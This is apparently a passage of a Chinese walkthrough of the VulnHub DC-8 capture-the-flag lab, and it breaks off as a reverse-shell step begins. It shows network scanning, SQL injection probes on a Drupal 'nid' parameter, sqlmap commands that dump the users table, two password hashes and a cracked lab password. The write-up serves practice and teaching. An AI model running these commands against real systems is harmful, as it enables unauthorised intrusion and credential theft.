目录
0x00 准备
下载链接:https://download.vulnhub.com/dc/DC-8.zip
介绍:
This challenge is a bit of a hybrid between being an actual challenge, and being a “proof of concept” as to whether two-factor authentication installed and configured on Linux can prevent the Linux server from being exploited.
这个挑战有点像一个混合体,既是一个实际的挑战,也是一个“概念验证”,即在Linux上安装和配置的双因素身份验证是否可以防止Linux服务器被利用。
The ultimate goal of this challenge is to bypass two-factor authentication, get root and to read the one and only flag.
这个挑战的最终目标是绕过双因素身份验证,获取root并读取唯一的标志。
You probably wouldn’t even know that two-factor authentication was installed and configured unless you attempt to login via SSH, but it’s definitely there and doing it’s job.
除非您尝试通过 SSH 登录,否则您甚至可能不知道已安装并配置了双因素身份验证,但它肯定存在并且正在完成它的工作。
0x01 主机信息收集
kali查询本机ip,执行命令:ifconfig
kali的ip地址:192.168.22.48,eth0
探测目标主机ip,执行命令:netdiscover -i eth0 -r 192.168.22.0/24
目标主机的ip:192.168.22.12
探测目标主机的开放端口,执行命令:nmap -sV -p 1-65535 -A 192.168.22.12
开放了22端口,ssh服务;80端口,并且使用了Drupal7。
0x02 站点信息收集
扫描站点目录,执行命令:dirsearch -u 192.168.22.12
有个user/login。
0x03 漏洞查找与利用
1. 发现sql注入点
访问站点,点击左侧Details里的三个页面,发现URL里的nid参数会发生变化,考虑和数据库有交互。
验证一下是否有sql注入:
构造:http://192.168.22.12/?nid=1’
页面报错。
构造:http://192.168.22.12/?nid=1 and 1=1
页面返回正常。
构造:http://192.168.22.12/?nid=1 and 1=2
页面返回正常,但是和上面返回的页面不同。
通过上面三条语句的回显,判断存在数字型sql注入。
2. sqlmap跑数据
执行命令:sqlmap -u http://192.168.22.12/?nid=1
结果表明,nid这个参数存在注入,并且给出了很多种注入漏洞。
列举数据库名,执行命令:sqlmap -u http://192.168.22.12/?nid=1 --dbs
有两个数据库,d7db 和 information_schema。
先看d7db这个数据库。
列举表名,执行命令:sqlmap -u http://192.168.22.12/?nid=1 -D d7db --tables
找到一个users表。
列举users表的字段名,执行命令:sqlmap -u http://192.168.22.12/?nid=1 -D d7db -T users --columns
发现了name,pass字段。
列举这两个字段的内容,执行命令:sqlmap -u http://192.168.22.12/?nid=1 -D d7db -T users -C name,pass --dump
得到了两组用户名密码。
admin:$S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z
john:$S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF
3. John解密
用户名john的提示已经很明显了。接下里就是用john解密这两个密码。
将上面的内容保存到文件 a.txt 中,执行命令:john a.txt
john账户的密码是turtle。
(admin账户的一直解析不出来)
访问登录页面/user/login,登录这个账户。
4. 反弹shell
在Contact US下面的Edit页面,WEBFORM的From settings可